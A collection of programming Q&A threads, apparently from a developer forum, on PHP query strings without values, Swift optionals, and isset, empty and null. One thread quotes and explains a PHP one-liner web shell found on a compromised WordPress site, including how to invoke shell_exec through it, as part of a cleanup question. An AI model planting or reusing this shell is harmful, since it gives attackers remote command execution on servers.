I know that if a URL has something like http://example.com/test.html?id=2, then the ?id=2 is used to send the parameter values to the server requesting the current page.
Now if the URL is something like example.com/test.html?id, what does this mean?
I see this in a lot of sites these days. What does id provide?
i.e the id does not contain any value, then why use it ?
Example: example.net/eticketing/logout?out - what does the out provide to the server site?
PS: Assume PHP is the server side scripting language.
It is not really true in a strict sense that the query part of an url sends "values" to a server. Instead it is just a string that is interpreted by what ever processes that string on the server side, typically some scripting language.
Indeed typically some pattern like name=value will result in a variable called name holding the value value. But, as said, this is up to the processing step, it is not defined by some general standard.
There are a number of typical ways of how such a query string as you mention it, holding only some string but nothing like the pattern mentioned above, is interpreted:
a variable is created, but not assigned any value, since none has been specified inside the query string. This does make sense, since the presence of a variable already is a statement in itself that can be evaluated, thus it can influence the processing step.
the processing step can chose to completely skip the "typical" way such a string is interpreted and simply take over the value as given and do with it what it likes. That also does make a lot of sense, since typically such links are defined and handed out for usage by exactly the same processing step in a past request. So nothing speaks against that step to interpret the query in any way it thinks best suited.
often such string is not even handed over to the final processing step (some server side scripting language). Instead it only serves the purpose to be evaluated in some rewriting rule taking place inside the http servers routing step. This is a very easy and convenient way to hand over runtime information independent of the concept of a variable.
So the bottom line is: this completely depends in the server side processing step.
Parameter passed after ? in URL is accessed via $_GET.
This is a superglobal, or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.
If you have a query string that contains a parameter but no value (not even an equals sign), like so:
http://example.com/test.html?id
<pre>
<?php
print_r($_GET);
if($_GET["id"] === "") echo "id is an empty string\n";
if($_GET["id"] === false) echo "id is false\n";
if($_GET["id"] === null) echo "id is null\n";
if(isset($_GET["id"])) echo "id is set\n";
if(!empty($_GET["id"])) echo "id is not empty";
?>
</pre>
I tested this with http://example.com/test.html?id, and it returned:
id is an empty string
id is set
So note that a parameter with no value associated with, even without an equals sign, is considered to be an empty string (""), isset() returns true for it, and it is considered empty, but not false or null.
Thanks.
Related
I'm new to the Swift language and until this point i only worked in web development.
I tried to grasp the idea of optionals, but every time they present some situation where to use it, I still can't understand why they do so (or I might have a little idea, but still not sure.)
I read several articles about this and maybe I just got too confused about it along the way and got lost.
So let's present some examples. Let's say I have a registration form with a textfield for an e-mail. After the form is sent, in PHP I could do something like:
$mail = $_POST['mail'];
if($mail == "") {
echo "ERROR: The E-mail is empty";
} else {
// Do something more
}
If the textfield is empty, the value of $_POST['mail'] is an empty string. I can work with that and check if it is empty or not.
Now, if I understand correctly, in swift the value of that textfield wouldn't be an empty string, but actually a nil, right? Is this that kind of a difference why we need optionals? Because in comparison to PHP, in Swift I have to declare the type of that information each time and it doesn't know if that textfield passes strings or numbers?
Let's talk about another example. Lot of people in swift just declare a string as an optional, even if they put a value in it, like so:
let name:String? = "Gabriel"
If it already has a value, why make it an optional then? For me, it is just a normal constant with a value and I don't see the point of wrapping it into an optional.
If I don't know the name at the declaration, why can't i just type this?
let name:String = ""
and after that, I can use an if statement to check if it is empty or not
if name == "" {
print("ERROR: name is empty")
} else {
//Do something else
}
Did I get the idea with the textfield right or not?
Is there something I'm missing?
Thank You for any help!
EDIT (What got me understanding the concept):
What I got confused about the most was the simple fact, that for example a String can store only "text" and that if nil was something, it wouldn't be of type String, so therefore it couldn't be "stored" inside String of course.
Just in the same way, as I can't store text into an Integer — I can't "store" nil into a String.
But with Optional String I can use this "wrapper" that actually CAN "store" both types: string or nil. And that is what distinguish regular String from Optional String. It is this "wrapper" that has the ability to "hold" both these types until I need to use the actual value. (Now of course I understand, that nil is actually an absence of any value. I just used it in this way to illustrate the point)
Thank You everyone for Your help!
Imagine you ordered a playstation from ebay. The first thing you see is not the playstation, but a box. So, in this instance, the box is an optional. Let's write it down.
var playstation: Playstation?
The box can of course be empty. In order to use the playstation, we need to open the box. We have several ways to do that.
The safe way:
if let ps = playstation {
// if the box is not empty, and the PS is there
ps.play()
} else {
print("The box was empty :(")
}
The other way:
playstation?.play()
In this other scenario, we're only calling the play() method if the contents of playstation box are not empty. Downside is that you cannot display an error in case it fails.
What if you promised your friend that you'll play together on your playstation that will be here today. You're giving a guarantee that the playstation will be in the box. That's when you use this:
playstation!.play()
Problem with this approach, in actual programs, is that your app will crash if the contents of the optional are empty. Use "!" only if you can guarantee that it will not be empty (i.e. you assigned a value to the variable right before this)
So, to conclude, optionals are variables whose value can be either a specific type (i.e. String) or nil. You cannot assign nil to strongly typed variables.
var a: String?
var b: String
a = nil // this is ok
b = nil // this will not compile
Think of optionals like this :
An optional is a variable which can be empty something in the future or even now.
Making a variable an optional means it is wrapped as an enum.
Suppose there is a variable : var x : Int?, this means a variable named x of type Int, is not yet initialised and an optional.
This typically can be represented in layman terms as
Enum x(optional) // name of the variable{
case T: // some value
case nil: // no value
}
So when we assign a variable we can just assign it normally, but the value is stored in the case T of the optional enum variable of x.
x = 10 //
enum x(optional){
case T = 10
case nil
}
When we want to use it(get the value) we use a (?) or an (!)
These can be farther explained as
print(x?) // If there is any value inside of x, give it to me(in this case give me the value of x's case of T)
print(x!) // I dont care if there is any value inside of x or not, just give it to me anyway.
Hence if x has no value then printing (x!) will produce a crash, as x does not have a value inside of it.
? - safely unwrapping the optional
! - force unwrapping the optional
P.S - I know there are certain things I missed but this is the jist of Optional is this is meant only for explanatory purpose. Once you grasp this concept you can farther check out more documents on Apple's documentation here
Effectively,
let name:String? = "Gabriel"
is not very useful.
But
var name:String? = "Gabriel"
does make sense, as you can further on set to nil.
Optionals are very useful for returning value from function.
Consider a func that returns an Int.
If the value is not found, you could return a number (like very large negative) to notify value was not found. But there is a risk some day that the func does return this value (even unlikely).
Returning a nil let the function make it clear it did not find the value.
My understanding of optionals is that they are a type just like String, or an Int, or a Double. Optionals have associated values so an String? is an optional with a String associated to it. The optional can either contain a value which is a string, even an empty string or nothing at all, which to me is null. Check out the Stanford U IOS course on iTunes. Optionals are explained much better then I am able to.
I extracted this from a wordpress-site, that happened to be infected and gets cleaned up by me.
<?php ($_=#$_GET[page]).#$_($_POST[404]);?>
I suspect this line to be SEO spam, but I am not able to get the meaning of this line.
It's a PHP shell. If you rewrite it to the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
PS: That was answered before here
Let's break this up a little bit:
($_=#$_GET[page]) . #$_($_POST[404]); First, this is two expressions being concatenated with the period: () . ().
In the first expression, $_ = $_GET[page], $_ is a variable, and is being assigned = to the variable $_GET['page'], or perhaps the output of an anonymous function it references. If $_GET[page] does reference an anonymous function, the # would be suppressing any errors from it.
The second expression, # $_( $_POST[404] ); is starting off with error suppression # of the anonymous function $_, which you can tell now is an anonymous function being called because it's followed by (. The argument passed to this function is $_POST['404'], and then the second parentheses just closes the call.
So I think your suspicions are correct; this looks like obfuscated code intended to look innocuous or part of the site. I suspect that the values for $_GET[page] and $_POST[404] are perhaps javascript strings whose echoing on the page would install malware or adware.
You can debug this more by looking at the values of those two variables and seeing what they are.
As best I can tell without knowing the values in GET and POST, it looks like the variable $_ is being assigned to the string $_GET[page], which would be whatever someone submits in the URL when they load the page. So, they are able to pass the string name of any function to the site and have it in PHP's scope.
Then, they are running that arbitrary function on the $_POST['404'] value. That value also is whatever the browser or user POSTs to the page.
The concatenation and outer parenthesis ().() might just be more obfuscation, or the point of this code might be to simply echo the results of this code on the page (to inject javascript) for example. But, it's also possible they are calling whatever function they want on whatever argument they've passed. I can't tell just by looking, but someone more conversant with PHP probably could.
I'm in a little argument with my boss about URLs using GET parameters without value. E.g.
http://www.example.com/?logout
I see this kind of link fairly often on the web, but of course, this doesn't mean it's a good thing. He fears that this is not standard and could lead to unexpected errors, so he'd rather like me to use something like:
http://www.example.com/?logout=yes
In my experience, I've never encountered any problem using empty parameters, and they sometimes make more sense to me (like in this case, where ?logout=no wouldn't make any sense, so the value of "logout" is irrelevant and I would only test for the presence of the parameter server-side, not for its value). (It also looks cleaner.)
However I can't find confirmation that this kind of usage is actually valid and therefore really can't cause any problem ever.
Do you have any link about this?
RFC 2396, "Uniform Resource Identifiers (URI): Generic Syntax", §3.4, "Query Component" is the authoritative source of information on the query string, and states:
The query component is a string of information to be interpreted by
the resource.
[...]
Within a query component, the characters ";", "/", "?", ":", "#",
"&", "=", "+", ",", and "$" are reserved.
RFC 2616, "Hypertext Transfer Protocol -- HTTP/1.1", §3.2.2, "http URL", does not redefine this.
In short, the query string you give ("logout") is perfectly valid.
A value is not required for the key to have any effect. It doesn't make the URL any less valid either, the URL RFC1738 does not list it as required part of the URL.
If you don't really need a value, it's just a matter of preference.
http://example.com/?logout
Is just as much a valid URL as
http://example.com/?logout=yes
All difference that it makes is that if you want to make sure that the "yes" bit was absolutely set, you can check for it's value. Like:
if(isset($_GET['logout']) && $_GET['logout'] == "yes") {
// Only proceed if the value is explicitly set to yes
If you just want to know if the logout key was set somewhere in the URL, it would suffice to just list the key with no value assigned to it. You can then check it like this:
if(isset($_GET['logout'])) {
// Continue regardless of what the value is set to (or if it's left empty)
It's perfectly fine, and won't cause any error. Though, nowadays most frameworks are MVC based, so in the URL you need to mention a controller and an action, so it looks more like /users/logout (BTW, also StackOverflow uses that URL to log users out ;).
The statement that it may cause errors to me sounds like your applications manually access the raw $_GET, and I definitely think that building apps without a framework (which usually provides an MVC stack and a router/dispatcher) is the real dangerous thing here.
I am new to the concept of empty and null. Whilst I have endeavoured to understand the difference between them, I am more confused. I came across an article at http://www.tutorialarena.com/blog/php-isset-vs-empty.php however I still don't see when you would use isset and empty when validating forms. Seeing that I don't grasp the difference, I don't want to be using the incorrect functions as well as not be able to use the functions in other areas. Can someone give examples that will help me understand? I am very new to coding so would appreciate if someone could give me real world examples and at the same time keep it simply enough for noob to follow.
A variable is NULL if it has no value, and points to nowhere in memory.
empty() is more a literal meaning of empty, e.g. the string "" is empty, but is not NULL.
The following things are considered to
be empty:
"" (an empty string)
0 (0 as an integer)
0.0 (0 as a float)
"0" (0 as a string)
NULL
FALSE
array() (an empty array)
var $var; (a variable declared, but without a value in a class)
Source.
Example
$a is NULL.
$a = '' is empty, but not NULL.
Update
If $a='' is empty but not NULL, when do I use the empty() function and when do I use the isset() function.
isset() will return FALSE is the variable is pointing to NULL.
Use empty() when you understand what is empty (look at the list above).
Also when you say it points nowhere in memory, what does that mean exactly?
It means that $str = '' will be in memory as a string with length of 0.
If it were $str = NULL, it would not occupy any memory.
Null is a placeholder that generally means "no data about this is available".
The use of null for this is just a convention, but a rather widespread one, to the point where some programming languages support the convention directly. The reason this convention exists has IMHO historically to do with "pointers";
many times a procedure will be defined to return a pointer to an answer, and will return what is traditionally called a Null pointer if it could not produce an answer for some reason.
Empty means (if this is a set) that it has no members. That's an explicit answer, and it is very different than "no data about this is available".
In the PHP world, apparantly uninitialized variables have the Null value, and isset on such a variable returns FALSE.
For arrays and strings, PHP follows the convention that "empty" means "has no members" although arrays and strings are not technically sets.
PHP apparantly has this funny idea that 0 and 0.0 are also "empty", by PHP design. That's abusive of the concept of "empty" IMHO: Individual numbers are not sets, so 0 can't reasonably by "empty". THis just leads to obscure programming because it violates the principle of least surprise. I'm sure the PHP designers would are that "zero is the empty number" as some kind of vague analogy; but the if analogy is vague, why bother with it? But then PHP is full of silly ideas.
The table below is an easy reference for what these functions will return for different values. The blank spaces means the function returns bool(false).
refer this link for more https://www.virendrachandak.com/techtalk/php-isset-vs-empty-vs-is_null/
NULL is a special value which explicitly states that the variable has not been set to any value yet. Be careful with using the empty() function as you can't just determine that a variable is exactly NULL using it. For example the empty() function will return true if an int is set to 0. If you need to make sure a variable is exactly NULL use if($variable == NULL).
For more info on empty() see http://php.net/manual/en/function.empty.php
There are some good answers here, which I won't repeat. In the case of validating forms, though, when a form is submitted, the value of each form input element is sent to the server in the $_POST variable. You can check for the existence of a particular input by using isset().
isset($_POST['username'])
If this returns true, then this request to the server was the result of posting a form containing an input element named "username". Now that we know that we have a value for that form element, we can see if it has a valid value. empty() will tell us whether the user actually entered any data in the field, or whether they left it empty.
empty($_POST['username'])
If that returns true then the form submitted to the server had a field named "username" but the user didn't enter anything into before submitting the form.
Been awhile since i used PHP but if other languages are anything to go by empty will indicate an existing object/map/array that has no contents while null would indicate a variable that has no meaning/definition at all (uninitialised).
In database SQL, NULL means "no value".
The empty() is a nice fast way to see if the variable holds any useful info... that is for strings empty() returns true for a string of "" as well as a null string.
So you can write something like this:
if (! empty($name)) echo $name;
More info see here: PHP: empty()
isset() returns true if both these conditions are met:
The variable has been defined and has not yet been unset.
The variable has a non-null value in it.
A variable is automatically defined when it gets set to something (including null). This has a direct implication in arrays.
$a=array();
$a['randomKey']=true;
$a['nullKey']=null;
var_dump(isset($a['randomKey'])); // true
var_dump(isset($a['nullKey'])); // true, the key has been set, set to null!
var_dump(isset($a['unsetKey'])); // false !
unset($a['randomKey']);
var_dump(isset($a['randomKey'])); // false ! it's been unset!
From above, you can check if various $_POST fields have been set. For example, a page that has been posted to, stands to reason, has the submit button name in the $_POST field.
empty() on the other hand, tests if the variable holds a non zero value. This means that values that (int) cast to 0, return false too. You can use this to see if a specific $_POST field has data in it.
This concept can be better understood from mathematics. Have you ever tried dividing a number (not zero) by 0 using a calculator e.g 7/0? You will get a result that looks like something this: undefined, not a number, null etc. This means that the operation is impossible, for some reasons (let's leave those reasons to be discussed another day).
Now, perform this: 0/7. You will get the output, 0. This means that the operation is possible and can be executed, but you the answer is just 0 because nothing is left after the division. There is a valid output and that output is zero.
In the first example, not only was the output invalid, the operation was not possible to execute. This is akin to null. The second example is akin to empty.
I am wondering if you use unset variables, empty strings (or 0's), or "None" to determine if a variable is "None"?
The case I'm thinking of is, I'm retrieving something from the database, but find that the value is not set for the record, usually determined by the fact that there are no records or a null value. This will display to the user as "None" or "Not Set".
So the question is, when passing this value to another part of the script (ie, another function, farter on the script, template, etc), do I:
not set the variable (and therefore check if it's set in the template)
set the variable to an empty string or 0 (and check for the empty string in the template)
set the variable to "None" or "Not Set" and just echo the variable
Is there one that you usually do and why do you do it?
(I'm using PHP, so the type of the variable is somewhat unimportant.)
I'm looking for a general answer; I know that it won't always be true, but a general rule to follow.
Where possible I would normally use the nil value in the language to map to NULL.
The other options you mention all have the potential for the same ambiguity problem you'd have in the database if the value were set to empty string, None, or Not Set, when you really mean NULL.
There is also the risk of this propagating back to the database if the user can update values.
The only option that I think is something I would not do is the third option. "None" or "Not Set" really seems like a UI descriptor and not really appropriate to set as the value to be interpreted by code later.
The only exception to this would be if you have a set of known values. If they are more or less constants.
NOT_SET
NO
YES
Where NOT_SET might be the default. In this case I would still not simply echo out "not set" to the user, though.
Generally, I find it's best to handle data structures consistently throughout the program. This means leaving variables that are unset in the database unchanged when I pass them to other parts of the program. I cast or check for boundary conditions as I go if a particular function is expecting the data in a differing format.
As you said yourself, the value "None" or "Not set" is only relevant as far as displaying it to the user. For all internal use the value should be the native NULL value. The human readable values should only be substituted by whichever functions render values into the output stream
In PHP, you can set the variable to FALSE or NULL and then say:
if($var === FALSE)
...
(Notice the three equal signs)
You should explicitly set the value.
I would recommend setting it to NULL. If you're fetching the value from a database, and it's NULL (SQL) there, most likely the PHP function to grab the record will return NULL (PHP) for that field.
You can compare your string with NULL in PHP as such:
if($myString === NULL) {
/* It's NULL! */
}
If you want a certain string to show instead of NULL (which, when casted to a string, equals ""), you can set it as such:
if($myString === NULL) {
$myString = 'None';
}
Take into consideration you may need to refactor your code for internationalization later on. If you use a user string throughout your code, it will be much harder to do this.
Simply not setting a variable is bad, because you could make a typo of the variable name and wonder why when you set it "None" still shows.